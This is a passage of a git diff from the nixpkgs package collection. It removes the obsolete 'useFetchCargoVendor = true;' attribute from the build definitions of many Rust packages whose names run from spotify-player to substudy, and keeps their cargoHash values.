   cargoHash = "sha256-rq6GO+5qXM22JoAGdAM3Bb6/U0+x5sRYUjnZQUpzcGA=";
 
   meta = {
diff --git a/pkgs/by-name/sp/spotify-player/package.nix b/pkgs/by-name/sp/spotify-player/package.nix
index 0153479216cd..af73c55d255a 100644
--- a/pkgs/by-name/sp/spotify-player/package.nix
+++ b/pkgs/by-name/sp/spotify-player/package.nix
@@ -55,7 +55,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-NlMQgVkMVCVrMv4IyFtPmRkAmf2k4F0dp6e8s63aBHg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-glQh6PzwJp5o35aXRW4+Pq2iSeGg9vjR5fJQomPpSOc=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/sp/spotifyd/package.nix b/pkgs/by-name/sp/spotifyd/package.nix
index 380d97266dc8..e76e0950d852 100644
--- a/pkgs/by-name/sp/spotifyd/package.nix
+++ b/pkgs/by-name/sp/spotifyd/package.nix
@@ -33,7 +33,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-IqJlqcau0AZAqQjlaEKzinqTdVUA48/m2Y3ioFP/4Zw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-wZ/JJZDo+Iz5vg4XawcZFvjOEqpD5I0jTfg1JyH3+MA=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/sp/spr/package.nix b/pkgs/by-name/sp/spr/package.nix
index fe450c314568..f5dfe9252be8 100644
--- a/pkgs/by-name/sp/spr/package.nix
+++ b/pkgs/by-name/sp/spr/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-lsdWInJWcofwU3P4vAWcLQeZuV3Xn1z30B7mhODJ4Vc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-4fYQM+GQ5yqES8HQ23ft4wfM5mwDdcWuE5Ed2LST9Gw=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/sp/spytrap-adb/package.nix b/pkgs/by-name/sp/spytrap-adb/package.nix
index c830c0a1abf0..9bbee8c4324f 100644
--- a/pkgs/by-name/sp/spytrap-adb/package.nix
+++ b/pkgs/by-name/sp/spytrap-adb/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Yqa+JmqYCmy9ehxmRebPNlU5U2RPHtnHDHiqSg8EvAo=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-hXDxo0b2nJbPyo99Qc39LM0P41SDbyfadHLIRrbQdj0=";
 
   env.SPYTRAP_ADB_BINARY = lib.getExe' android-tools "adb";
diff --git a/pkgs/by-name/sq/sql-studio/package.nix b/pkgs/by-name/sq/sql-studio/package.nix
index d0e0d18282d5..49a76b5a1b4f 100644
--- a/pkgs/by-name/sq/sql-studio/package.nix
+++ b/pkgs/by-name/sq/sql-studio/package.nix
@@ -28,8 +28,6 @@ in
 rustPlatform.buildRustPackage {
   inherit pname version src;
 
-  useFetchCargoVendor = true;
-
   cargoHash = "sha256-rWG5iPXiG7kCf0yLAqcQi8AM3qv/WTUiY4cVrjpUc/Y=";
 
   preBuild = ''
diff --git a/pkgs/by-name/sq/sqld/package.nix b/pkgs/by-name/sq/sqld/package.nix
index b6812fe601a4..2f12436bb919 100644
--- a/pkgs/by-name/sq/sqld/package.nix
+++ b/pkgs/by-name/sq/sqld/package.nix
@@ -41,7 +41,6 @@ rustPlatform.buildRustPackage rec {
   ];
 
   cargoHash = "sha256-4Ma/17t+EmmjiYICBLhJifQez0dnwtjhlkmoQrAIG+s";
-  useFetchCargoVendor = true;
 
   nativeBuildInputs = [
     cmake
diff --git a/pkgs/by-name/sq/sqlpage/package.nix b/pkgs/by-name/sq/sqlpage/package.nix
index 120c0cca258b..a43e0ed50178 100644
--- a/pkgs/by-name/sq/sqlpage/package.nix
+++ b/pkgs/by-name/sq/sqlpage/package.nix
@@ -67,8 +67,6 @@ rustPlatform.buildRustPackage rec {
       "$(cat ${tomselect})"
   '';
 
-  useFetchCargoVendor = true;
-
   cargoHash = "sha256-NUbCSYUTXN8glw94Lr/+Jj54PukRXFlzTxq0d7znjwA=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/sq/sqlx-cli/package.nix b/pkgs/by-name/sq/sqlx-cli/package.nix
index bb62459a145f..9d83e6e03a11 100644
--- a/pkgs/by-name/sq/sqlx-cli/package.nix
+++ b/pkgs/by-name/sq/sqlx-cli/package.nix
@@ -23,7 +23,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-R6T8sXuHlunXvqxQ95EKd+fdkPUZU8nTFkg9WBJWeRA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ILv9sVBKhF+KDPfTsxYorRlx33tPolNE8KSNdNajzBc=";
 
   buildNoDefaultFeatures = true;
diff --git a/pkgs/by-name/sq/sqruff/package.nix b/pkgs/by-name/sq/sqruff/package.nix
index f497f538e290..d8714f40233d 100644
--- a/pkgs/by-name/sq/sqruff/package.nix
+++ b/pkgs/by-name/sq/sqruff/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Vlre3D1ydDqFdysf5no2rW2V2U/BimhCeV1vWZ2JPSM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-sFKq7CxQ7yoPqDQOR9Nr111RCiSA6bK50QvhHkaU5Go=";
 
   buildInputs = [
diff --git a/pkgs/by-name/sq/squawk/package.nix b/pkgs/by-name/sq/squawk/package.nix
index 1496229ad9e8..60ed0f8ebb38 100644
--- a/pkgs/by-name/sq/squawk/package.nix
+++ b/pkgs/by-name/sq/squawk/package.nix
@@ -19,8 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-gKYoTdGaonnLEnaoFlniD9nA5+TM5ITjyL/elOM7gZI=";
   };
 
-  useFetchCargoVendor = true;
-
   cargoHash = "sha256-z0ZZnXUH834f6FPYhAcmjmtLEYMvbT97UPgn6ddlxdY=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/sq/squirreldisk/package.nix b/pkgs/by-name/sq/squirreldisk/package.nix
index f355ea24e34d..c2ed9813de61 100644
--- a/pkgs/by-name/sq/squirreldisk/package.nix
+++ b/pkgs/by-name/sq/squirreldisk/package.nix
@@ -51,7 +51,6 @@ rustPlatform.buildRustPackage rec {
 
   sourceRoot = "${src.name}/src-tauri";
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-dFTdbMX355klZ2wY160bYcgMiOiOGplEU7/e6Btv5JI=";
 
   # copy the frontend static resources to final build directory
diff --git a/pkgs/by-name/sr/srgn/package.nix b/pkgs/by-name/sr/srgn/package.nix
index c3d173bd7cb3..5eb1d9b2285b 100644
--- a/pkgs/by-name/sr/srgn/package.nix
+++ b/pkgs/by-name/sr/srgn/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-q6LFNymfCkKhmQXsJvKOya9WPchURI1SBdk64bpmsts=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-qS1I4+pL3K4HIXNFID/ajldxIJJJXhpi0hxivHWk9Vg=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/sr/srisum/package.nix b/pkgs/by-name/sr/srisum/package.nix
index 085d7f7011fe..062e711fe014 100644
--- a/pkgs/by-name/sr/srisum/package.nix
+++ b/pkgs/by-name/sr/srisum/package.nix
@@ -14,7 +14,7 @@ rustPlatform.buildRustPackage rec {
     rev = "v${version}";
     hash = "sha256-Nw3uTGOcz1ivAm9X+PnOdNA937wuK3vtJQ0iJHlHVdw=";
   };
-  useFetchCargoVendor = true;
+
   cargoHash = "sha256-J++aj925krYvOTzcuVZSEk+eYupL0M7o407fd1dCjeA=";
 
   doInstallCheck = true;
diff --git a/pkgs/by-name/ss/ssh-openpgp-auth/generic.nix b/pkgs/by-name/ss/ssh-openpgp-auth/generic.nix
index b5a5ff2c8282..c1f8b8473b80 100644
--- a/pkgs/by-name/ss/ssh-openpgp-auth/generic.nix
+++ b/pkgs/by-name/ss/ssh-openpgp-auth/generic.nix
@@ -32,7 +32,7 @@ rustPlatform.buildRustPackage {
     hash = srcHash;
   };
   buildAndTestSubdir = pname;
-  useFetchCargoVendor = true;
+
   inherit cargoHash;
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ss/sshs/package.nix b/pkgs/by-name/ss/sshs/package.nix
index fdec7c7040db..e13b4b372e89 100644
--- a/pkgs/by-name/ss/sshs/package.nix
+++ b/pkgs/by-name/ss/sshs/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Xr1S6KSw3a/+TIrw2hUPpUOd22+49YMuGK2TVxfwPHU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Py85+zv54KHFXjhiThTPXgJQmCImXN42ePOjazjzxIQ=";
 
   passthru.tests.version = testers.testVersion { package = sshs; };
diff --git a/pkgs/by-name/ss/sss-cli/package.nix b/pkgs/by-name/ss/sss-cli/package.nix
index 5fb3fdc43c2c..a511c934d2f5 100644
--- a/pkgs/by-name/ss/sss-cli/package.nix
+++ b/pkgs/by-name/ss/sss-cli/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
 
   cargoPatches = [ ./fix-cargo-lock.patch ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-yutjlaqLf8R8KmdeKF+CHz/s/b6T+GB9bOl2liMBmMQ=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ss/sss_code/package.nix b/pkgs/by-name/ss/sss_code/package.nix
index 5e0b35de75c5..57ee5a5bf068 100644
--- a/pkgs/by-name/ss/sss_code/package.nix
+++ b/pkgs/by-name/ss/sss_code/package.nix
@@ -20,8 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-AmJFAwHfG4R2iRz9zNeZsVFLptVy499ozQ7jgwnevOo=";
   };
 
-  useFetchCargoVendor = true;
-
   cargoHash = "sha256-qeDZgrGPSz+wXolZeVb2FFHjLzl1+vjzMN/3NCgaf/s=";
 
   cargoBuildFlags = [
diff --git a/pkgs/by-name/st/stalwart-mail/package.nix b/pkgs/by-name/st/stalwart-mail/package.nix
index f230cc2946c4..a972b42b5805 100644
--- a/pkgs/by-name/st/stalwart-mail/package.nix
+++ b/pkgs/by-name/st/stalwart-mail/package.nix
@@ -29,7 +29,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-VqGosbSQxNeOS+kGtvXAmz6vyz5mJlXvKZM57B1Xue4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-iheURWxO0cOvO+FV01l2Vmo0B+S2mXzue6mx3gapftQ=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/st/stalwart-mail/webadmin.nix b/pkgs/by-name/st/stalwart-mail/webadmin.nix
index 5ed67c2b45c2..00a881d34dd8 100644
--- a/pkgs/by-name/st/stalwart-mail/webadmin.nix
+++ b/pkgs/by-name/st/stalwart-mail/webadmin.nix
@@ -31,7 +31,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-na1HEueX8w7kuDp8LEtJ0nD1Yv39cyk6sEMpS1zix2s=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-/BoGeAF4GbM8ddWCnxAueJQYgQZvAL0pQ0pDUW0mXI0=";
 
   postPatch = ''
diff --git a/pkgs/by-name/st/star-history/package.nix b/pkgs/by-name/st/star-history/package.nix
index 8701b9450836..958169cc3cc6 100644
--- a/pkgs/by-name/st/star-history/package.nix
+++ b/pkgs/by-name/st/star-history/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-QTTBWuRXjx7UEMjnrIb4KQW+rtyKy4Q0Hu7OLt1Dph0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-2GwZtNbUbdzxK31Gh4U2LsFkzV1ylXkZnP5r5FQ/hvU=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/st/stardust-xr-atmosphere/package.nix b/pkgs/by-name/st/stardust-xr-atmosphere/package.nix
index 4d218b8476dd..0c8d4703784c 100644
--- a/pkgs/by-name/st/stardust-xr-atmosphere/package.nix
+++ b/pkgs/by-name/st/stardust-xr-atmosphere/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-pk1+kkPV6fx+7Xz9hKFFVw402iztcvNC31zVCc3hfTY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-eQjRbavmUW2iw0OEC/DPk2FflTc4QCn0K/c4Og+sGW4=";
 
   passthru = {
diff --git a/pkgs/by-name/st/stardust-xr-flatland/package.nix b/pkgs/by-name/st/stardust-xr-flatland/package.nix
index 5e3f0b251736..0ff24d78dd60 100644
--- a/pkgs/by-name/st/stardust-xr-flatland/package.nix
+++ b/pkgs/by-name/st/stardust-xr-flatland/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
 
   env.STARDUST_RES_PREFIXES = "${src}/res";
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-oM4nQUEc3iq1x4uRp8Kw5WtE/L5b6VlLOfElMT9Tk98=";
 
   passthru.updateScript = nix-update-script {
diff --git a/pkgs/by-name/st/stardust-xr-gravity/package.nix b/pkgs/by-name/st/stardust-xr-gravity/package.nix
index 075b066f0c35..d45ce8f3f678 100644
--- a/pkgs/by-name/st/stardust-xr-gravity/package.nix
+++ b/pkgs/by-name/st/stardust-xr-gravity/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-upw0MjGccSI1B10wabKPMGrEo7ATfg4a7Hzaucbf99w=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-tkWY+dLFDnyir6d0supR3Z202p5i4UewY+J66mL1x/o=";
 
   passthru.updateScript = nix-update-script {
diff --git a/pkgs/by-name/st/stardust-xr-kiara/package.nix b/pkgs/by-name/st/stardust-xr-kiara/package.nix
index 8a3fe1ff9f3b..6cc79c6fd127 100644
--- a/pkgs/by-name/st/stardust-xr-kiara/package.nix
+++ b/pkgs/by-name/st/stardust-xr-kiara/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-e89/x66S+MpJFtqat1hYEyRVUYFjef62LDN2hQPjNVw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-C1eD974cEGbo0vHJqdnCPUopDPDDa6hAFJdzSm8t618=";
 
   nativeBuildInputs = [ makeBinaryWrapper ];
diff --git a/pkgs/by-name/st/stardust-xr-magnetar/package.nix b/pkgs/by-name/st/stardust-xr-magnetar/package.nix
index 7b34b80c8a8c..fbd3f5bee2df 100644
--- a/pkgs/by-name/st/stardust-xr-magnetar/package.nix
+++ b/pkgs/by-name/st/stardust-xr-magnetar/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-LRI3HKuOUfUb93mHB8DUpp0hvES+GbzsKAxpkLCLzKQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ixzasTQDVVU8cGhSW3j8ELJmmYudwfnYQEIoULLQRyo=";
 
   passthru.updateScript = nix-update-script {
diff --git a/pkgs/by-name/st/stardust-xr-phobetor/package.nix b/pkgs/by-name/st/stardust-xr-phobetor/package.nix
index 17757c5e7df4..ea43e7f95745 100644
--- a/pkgs/by-name/st/stardust-xr-phobetor/package.nix
+++ b/pkgs/by-name/st/stardust-xr-phobetor/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
 
   env.STARDUST_RES_PREFIXES = "${src}/res";
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-H65uAHMAIkJ9D5q/5HxMEbvcfoRhYdFgTQejp6bvu5w=";
 
   passthru.updateScript = nix-update-script {
diff --git a/pkgs/by-name/st/stardust-xr-protostar/package.nix b/pkgs/by-name/st/stardust-xr-protostar/package.nix
index bae2ea7841fe..01d1821d9b15 100644
--- a/pkgs/by-name/st/stardust-xr-protostar/package.nix
+++ b/pkgs/by-name/st/stardust-xr-protostar/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
 
   env.STARDUST_RES_PREFIXES = "${src}/res";
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-9XJ+nnvpTzr/3ii9dFkfZDex/++W5Mq9k0bh2Y6tueA=";
 
   checkFlags = [
diff --git a/pkgs/by-name/st/stardust-xr-server/package.nix b/pkgs/by-name/st/stardust-xr-server/package.nix
index e1707cb2a376..66acec53769f 100644
--- a/pkgs/by-name/st/stardust-xr-server/package.nix
+++ b/pkgs/by-name/st/stardust-xr-server/package.nix
@@ -25,7 +25,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-sCatpWDdy7NFWOWUARjN3fZMDVviX2iV79G0HTxfYZU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-jCtMCZG3ku30tabTnVdGfgcLl5DoqhkJpLKPPliJgDU=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/st/stardust-xr-sphereland/package.nix b/pkgs/by-name/st/stardust-xr-sphereland/package.nix
index 15742e15fc51..9071b32399cc 100644
--- a/pkgs/by-name/st/stardust-xr-sphereland/package.nix
+++ b/pkgs/by-name/st/stardust-xr-sphereland/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
 
   env.STARDUST_RES_PREFIXES = "${src}/res";
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-4mESTxfogMQxfDMQRVML752fkinOIqkddW3PHmvxekc=";
 
   buildInputs = [
diff --git a/pkgs/by-name/st/stargazer/package.nix b/pkgs/by-name/st/stargazer/package.nix
index d825ba5dfd83..dd7b58a3b69b 100644
--- a/pkgs/by-name/st/stargazer/package.nix
+++ b/pkgs/by-name/st/stargazer/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Yulm0XkVaN+yBKj8LDsn8pBYXEqTOSGLqbpIKDN0G2U=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-MtpJTLKhlVF5AE3huL0JRWXtNCtc0Z5b/S28ekzirPA=";
 
   passthru = {
diff --git a/pkgs/by-name/st/starlark-rust/package.nix b/pkgs/by-name/st/starlark-rust/package.nix
index 6b5ab174261b..5998a7972454 100644
--- a/pkgs/by-name/st/starlark-rust/package.nix
+++ b/pkgs/by-name/st/starlark-rust/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-1M3p5QHMOBgmdEyr31Bhv7X8UdUmoeL0o1hWaw2tahQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-BSXbFKR4AOKhssj+m5PIfgaoeRVDK+KRkApi8FUa8jg=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/st/starry/package.nix b/pkgs/by-name/st/starry/package.nix
index c51dc81506e3..04792fc253dd 100644
--- a/pkgs/by-name/st/starry/package.nix
+++ b/pkgs/by-name/st/starry/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-/ZUmMLEqlpqu+Ja/3XjFJf+OFZJCz7rp5MrQBEjwsXs=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-NNQhU6NVacRCzFp2hWcBvHvD6zPOlTvII8n7k505HrY=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/st/starship/package.nix b/pkgs/by-name/st/starship/package.nix
index 350cebac6810..78872f201a2b 100644
--- a/pkgs/by-name/st/starship/package.nix
+++ b/pkgs/by-name/st/starship/package.nix
@@ -44,7 +44,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     ''
   );
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-cxDWaPlNK7POJ3GhA21NlJ6q62bqHdA/4sru5pLkvOA=";
 
   nativeCheckInputs = [
diff --git a/pkgs/by-name/st/static-web-server/package.nix b/pkgs/by-name/st/static-web-server/package.nix
index 83f1cb8cb49d..f5b056827a77 100644
--- a/pkgs/by-name/st/static-web-server/package.nix
+++ b/pkgs/by-name/st/static-web-server/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-labHPDsPRyF/cxHFoOJ5n+tBFn1KF2QdB/hZnDGWf1Q=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Sri2NTCN5vIf/5KVI+BtyOBAjkXoGpOJjP2iOh/M5NU=";
 
   # Some tests rely on timestamps newer than 18 Nov 1974 00:00:00
diff --git a/pkgs/by-name/st/statix/package.nix b/pkgs/by-name/st/statix/package.nix
index a78f423e9d58..764252f1b880 100644
--- a/pkgs/by-name/st/statix/package.nix
+++ b/pkgs/by-name/st/statix/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-bMs3XMiGP6sXCqdjna4xoV6CANOIWuISSzCaL5LYY4c=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Pi1q2qNLjQYr3Wla7rqrktNm0StszB2klcfzwAnF3tE=";
 
   buildFeatures = lib.optional withJson "json";
diff --git a/pkgs/by-name/st/steam-acf/package.nix b/pkgs/by-name/st/steam-acf/package.nix
index 787c67fbdef1..efb2b4f05cab 100644
--- a/pkgs/by-name/st/steam-acf/package.nix
+++ b/pkgs/by-name/st/steam-acf/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "16q3md7cvdz37pqm1sda81rkjf249xbsrlpdl639r06p7f4nqlc2";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-3BbSTzFcQju0n7pwFqvrJB2sU8RM47Svi4lndlhkYmE=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/st/steam-tui/package.nix b/pkgs/by-name/st/steam-tui/package.nix
index 822b234fe549..51c2ed8cbd63 100644
--- a/pkgs/by-name/st/steam-tui/package.nix
+++ b/pkgs/by-name/st/steam-tui/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-3vBIpPIsh+7PjTuNNqp7e/pdciOYnzuGkjb/Eks6QJw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-/39MrHCdJGTBTZplQcwYk6zpaVFYHpRKHhZC1GTNysY=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/st/steamguard-cli/package.nix b/pkgs/by-name/st/steamguard-cli/package.nix
index 07853dfb4108..684c005f744c 100644
--- a/pkgs/by-name/st/steamguard-cli/package.nix
+++ b/pkgs/by-name/st/steamguard-cli/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-IoWLPpFPQC1QU1EgJSiiAQqMcDQnHa5WRLiya3WN+6w=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-7csGZp5dAz0j7pTxeex/yrgzNFU7Qz3zNcZ/K4dV7GE=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/st/steel/package.nix b/pkgs/by-name/st/steel/package.nix
index dc324b494139..9647977c4ce2 100644
--- a/pkgs/by-name/st/steel/package.nix
+++ b/pkgs/by-name/st/steel/package.nix
@@ -29,7 +29,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-GcbuuaevPK5EOh0/IVgoL2MPC9ukDc8VXkdgbPX4quE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-PWE64CwHCQWvOGeOqdsqX6rAruWlnCwsQpcxS221M3g=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/st/stgit/package.nix b/pkgs/by-name/st/stgit/package.nix
index 52ba75b05351..09f133b50d2c 100644
--- a/pkgs/by-name/st/stgit/package.nix
+++ b/pkgs/by-name/st/stgit/package.nix
@@ -27,7 +27,7 @@ rustPlatform.buildRustPackage rec {
     rev = "v${version}";
     hash = "sha256-YrJf4uNICPmXpuJvf0QRDHpODw39Q+40SLZuoIwZ5qA=";
   };
-  useFetchCargoVendor = true;
+
   cargoHash = "sha256-Y3969dpfbKJR22yjw5MHsG3+EJyui0bQFQ585wLzXUk=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/st/strace-analyzer/package.nix b/pkgs/by-name/st/strace-analyzer/package.nix
index 6b558aed0b7f..3aedac217310 100644
--- a/pkgs/by-name/st/strace-analyzer/package.nix
+++ b/pkgs/by-name/st/strace-analyzer/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-KbdQeZoWFz4D5txu/411J0HNnIAs3t5IvO30/34vBek=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ZvbWJSe/jQEswcdFM/Akb6hW/0iqMNbtEyzcxsbemFQ=";
 
   nativeCheckInputs = [ strace ];
diff --git a/pkgs/by-name/st/stract/package.nix b/pkgs/by-name/st/stract/package.nix
index 60cebaf08737..d7b839c9dba9 100644
--- a/pkgs/by-name/st/stract/package.nix
+++ b/pkgs/by-name/st/stract/package.nix
@@ -24,7 +24,6 @@ rustPlatform.buildRustPackage {
   };
 
   cargoHash = "sha256-UArPGrcEfFZBOZ4Tv7NraqPzdMtyJXVFsfUM32eSGic=";
-  useFetchCargoVendor = true;
 
   nativeBuildInputs = [ pkg-config ];
 
diff --git a/pkgs/by-name/st/stratovirt/package.nix b/pkgs/by-name/st/stratovirt/package.nix
index 77793972eec7..1b5583cb9257 100644
--- a/pkgs/by-name/st/stratovirt/package.nix
+++ b/pkgs/by-name/st/stratovirt/package.nix
@@ -24,7 +24,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-1Ex6ahKBoVRikSqrgHGYaBFzWkPFDm8bGVyB7KmO8tI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-tNFF5WdQyNqkj2ahtpOfGTHriHpMGtV1UurO3teKFcU=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/st/strip-ansi/package.nix b/pkgs/by-name/st/strip-ansi/package.nix
index 466046295c80..f3b4a2bc106f 100644
--- a/pkgs/by-name/st/strip-ansi/package.nix
+++ b/pkgs/by-name/st/strip-ansi/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-FvozEjNWXE1XEIq/06JehES7LVKoWmzIoaB4fD1kUsY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-kebx9OrAeh4c01VDUmlfTVn0EgFfzewiXjaQ3qtJrPY=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/st/stu/package.nix b/pkgs/by-name/st/stu/package.nix
index 5ddc4dda2e30..bede426c0621 100644
--- a/pkgs/by-name/st/stu/package.nix
+++ b/pkgs/by-name/st/stu/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-ks9QN9hVejgmQKJ5tZJx67IqgC37QKH3MEBwLYr/TZI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-HqfZ6g+TXt6MrBV40mLnuwp96r0YPLyFYs7GR4kpNbQ=";
 
   passthru.tests.version = testers.testVersion { package = stu; };
diff --git a/pkgs/by-name/st/stylance-cli/package.nix b/pkgs/by-name/st/stylance-cli/package.nix
index 5e44efe1b338..648806d4a859 100644
--- a/pkgs/by-name/st/stylance-cli/package.nix
+++ b/pkgs/by-name/st/stylance-cli/package.nix
@@ -12,7 +12,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-uksDnxTBuzwpMDCO3HIg05IK1emba6BjbpN0TcWSOdQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-iSE6SmqYXg9IAMJOb4/q80w+J2OEVd7oyxRpWcCps9U=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/st/stylua/package.nix b/pkgs/by-name/st/stylua/package.nix
index 8a5286d419dc..fecc3b61a723 100644
--- a/pkgs/by-name/st/stylua/package.nix
+++ b/pkgs/by-name/st/stylua/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-yVie8/aey77WbeUGM6rzuKBKLmAH1Jhhj9Y7LxbvIUw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ow8lldu36qBHcXFgeBhHo2u+sSAFCEFbxUk2oZI7sj4=";
 
   # remove cargo config so it can find the linker on aarch64-unknown-linux-gnu
diff --git a/pkgs/by-name/su/sub-batch/package.nix b/pkgs/by-name/su/sub-batch/package.nix
index 44662023adca..471338354ca8 100644
--- a/pkgs/by-name/su/sub-batch/package.nix
+++ b/pkgs/by-name/su/sub-batch/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-TOcK+l65iKON1kgBE4DYV/BXACnvqPCshavnVdpnGH4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-eT4u/IHj+yqeLQZ7E4cWAJFMT503zHq7HYyIhsoaj6s=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/su/substudy/package.nix b/pkgs/by-name/su/substudy/package.nix
index ea1a89dac4dc..d7991dd24e21 100644
--- a/pkgs/by-name/su/substudy/package.nix
+++ b/pkgs/by-name/su/substudy/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-ACYbSQKaOJ2hS8NbOAppfKo+Mk3CKg0OAwb56AH42Zs=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-S+/Oh1Cwulw8FyakF+d2E51AioFuQBGMAOG3y27YM2Q=";
 
   nativeBuildInputs = [ makeWrapper ];
diff --git a/pkgs/by-name/su/subxt/package.nix b/pkgs/by-name/su/subxt/package.nix
